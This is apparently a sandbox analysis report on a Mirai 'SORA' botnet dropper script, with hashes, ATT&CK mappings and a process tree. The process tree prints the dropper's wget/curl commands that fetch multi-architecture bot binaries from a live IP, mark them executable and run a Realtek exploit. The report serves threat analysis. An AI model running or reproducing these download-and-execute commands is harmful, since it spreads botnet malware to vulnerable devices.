mirai | 9ede79df1b2136ef9be538e21d3cf922527bd6010eeae9970a1eca134db18713

Analysis

max time kernel
33s
max time network
37s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-11-2024 14:37

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General

Target

realtek.sh
Size

2KB
MD5

5da53ff8a84b621ec81f2688731de0aa
SHA1

30c63294b36c7ce652a32dfb74b6e590d53c3d3b
SHA256

9ede79df1b2136ef9be538e21d3cf922527bd6010eeae9970a1eca134db18713
SHA512

ed8dc1fa2ba6243c4d713fbf7f9d98ac4888ff685130718bf5cb559ed71c643a0630a8dff26558b0d4d1cae00fd02f9a632f337ca93a5dfadd8e522d8db8660f

Score

10^/10

mirai sora antivm botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
File and Directory Permissions Modification 1 TTPs 14 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid process

696 chmod
736 chmod
762 chmod
777 chmod
788 chmod
822 chmod
683 chmod
713 chmod
724 chmod
795 chmod
807 chmod
837 chmod
703 chmod
750 chmod

pid	process
696	chmod
736	chmod
762	chmod
777	chmod
788	chmod
822	chmod
683	chmod
713	chmod
724	chmod
795	chmod
807	chmod
837	chmod
703	chmod
750	chmod

Executes dropped EXE 14 IoCs

Processes:

robbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobbenrobben

ioc	pid	process
/tmp/robben	684	robben
/tmp/robben	697	robben
/tmp/robben	704	robben
/tmp/robben	715	robben
/tmp/robben	725	robben
/tmp/robben	737	robben
/tmp/robben	752	robben
/tmp/robben	765	robben
/tmp/robben	779	robben
/tmp/robben	789	robben
/tmp/robben	796	robben
/tmp/robben	808	robben
/tmp/robben	823	robben
/tmp/robben	839	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
/tmp/sora.x86	upx
/tmp/robben	upx
/tmp/robben	upx
/tmp/robben	upx

Checks CPU configuration 1 TTPs 14 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 30 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlrobbencurlrobbencurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	robben
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/exe	robben
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlcat

pid process

687 wget
690 curl
695 cat

pid	process
687	wget
690	curl
695	cat

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlwgetwgetcurlwgetcurlwgetcurlcurlwgetcurlcurlcurlcurlcurlcurlcurlwgetrealtek.shwgetwgetwgetcurlwgetcurlwget

description	ioc	process
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.sh4	curl
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.x86	wget
File opened for modification	/tmp/robben	realtek.sh
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.sh4	wget

/tmp/realtek.sh
/tmp/realtek.sh
1⤵
- Writes file to tmp directory
PID:657
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:661
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:672
- /bin/cat
  cat sora.x86
  2⤵
  PID:681
- /bin/chmod
  chmod +x realtek.sh robben sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:684
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:687
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:690
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:695
- /bin/chmod
  chmod +x realtek.sh robben sora.mips sora.x86 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:697
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:699
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:701
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:702
- /bin/chmod
  chmod +x realtek.sh robben sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:703
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:704
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i468
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/cat
  cat sora.i468
  2⤵
  PID:712
- /bin/chmod
  chmod +x realtek.sh robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:713
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:715
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/cat
  cat sora.i686
  2⤵
  PID:723
- /bin/chmod
  chmod +x realtek.sh robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:725
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:728
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:735
- /bin/chmod
  chmod +x realtek.sh robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm4
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/cat
  cat sora.arm4
  2⤵
  PID:749
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:752
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/cat
  cat sora.arm5
  2⤵
  PID:761
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:767
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat sora.arm6
  2⤵
  PID:776
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:779
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/cat
  cat sora.arm7
  2⤵
  PID:787
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  - Reads runtime system information
  PID:789
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:790
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/cat
  cat sora.ppc
  2⤵
  PID:794
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:796
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.ppc440fp
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:805
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 systemd-private-718481293485437aaa2e4f293c3e8c02-systemd-timedated.service-AQcVVy
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:808
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat sora.m68k
  2⤵
  PID:820
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:823
- /usr/bin/wget
  wget http://93.123.85.190/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:826
- /usr/bin/curl
  curl -O http://93.123.85.190/bins/sora.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat sora.sh4
  2⤵
  PID:836
- /bin/chmod
  chmod +x realtek.sh robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.sh4 sora.x86 sora.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/robben
  ./robben realtek.exploit
  2⤵
  - Executes dropped EXE
  PID:839

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/robben

Filesize
28KB

MD5
fa5457b7546c1b7060c30bde3f8649ca

SHA1
7c75f6463c36eaebc4719f47d8047e5195a85057

SHA256
d3f2f30efffec0f49e28199c60b2819a3e831ae0ba920abd2c5ece5e4bfb3adf

SHA512
f012d61a479015af70447b1c3bd2a48c2977691f9a180f4f5c3340b034c65d69782299cb8459e92e3a18dcadfa3078c8b1c613593170f9fa95dd53ba36050c21

Download Submit
/tmp/robben

Filesize
28KB

MD5
ec332610b0ca5b634c097ed14f42eedc

SHA1
abcbd111601f4165c400e9db36fbf20339e37170

SHA256
2bfdc588e26d5f6ac54ca3330ced3ab2bfc9bafb98cdd91fd017180dd5848b3a

SHA512
f41f54e2aca4a5dfa3d7bcbad45963aa943fa3b6536c34f7c92c7c79894f1009ef5ab13cfed39b74ffc614791b77497689bcbe71edfefecb20497d873c92d1b0

Download Submit
/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

Download Submit
/tmp/robben

Filesize
28KB

MD5
d356657b6ea7a715b60217a914eb6ca8

SHA1
b276b1a91895c3025e9f9d64227205dac79c8ef6

SHA256
b0758e5e7fde30404ec43dd5fba21253735464062e8a10f0876193d18194fe22

SHA512
3b0ab5d1282c9d2ea18ed0fc78aeabafde6c16fa094d53d39a67d3316482da0cffa444dd5dc14aeefb547ce2f789480caa5bb514cb4a26787c7441ba8862e262

Download Submit
/tmp/robben

Filesize
64KB

MD5
fb3d051f41bd7347aeff64980f2d100b

SHA1
5261ff91b8d99d6b8f5f647e33aad29b90cee973

SHA256
19f4b46d738fa23ff571db081cea0bf34509b9799de2116853e77691faaebec1

SHA512
82dd9805571030fc4a56a8d5838f5ee3fe1b162f059c905a48f37abcc4dc58442e1e909ab4a2352d690af8ac306eafe4d89cb87f37baec8a8136d48e884be4dd

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/tmp/sora.x86

Filesize
27KB

MD5
00eff503439515d9b12b9c068367cb80

SHA1
82d68f2b1ffca8558458c1b858599542a67d8bbf

SHA256
2962b987b00b166299f9a73f7ccb8dc02b4208266465b41f6b1c9c28277d7276

SHA512
3800bc5a8f3983fc50813c49c906203af6528ff3eb97b4818a8632085562c25eab1c691edb5dcdc96c8d2c3f25784a41897ec8a52c042d391899a310224d50f5

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memory/690-1-0xb676f000-0xb6780044-memory.dmp

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memory/731-2-0xb66c9000-0xb66da044-memory.dmp

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memory/765-3-0x00008000-0x0001e9e8-memory.dmp

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memory/779-4-0x00008000-0x0002db18-memory.dmp

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memory/789-5-0x00008000-0x00029794-memory.dmp

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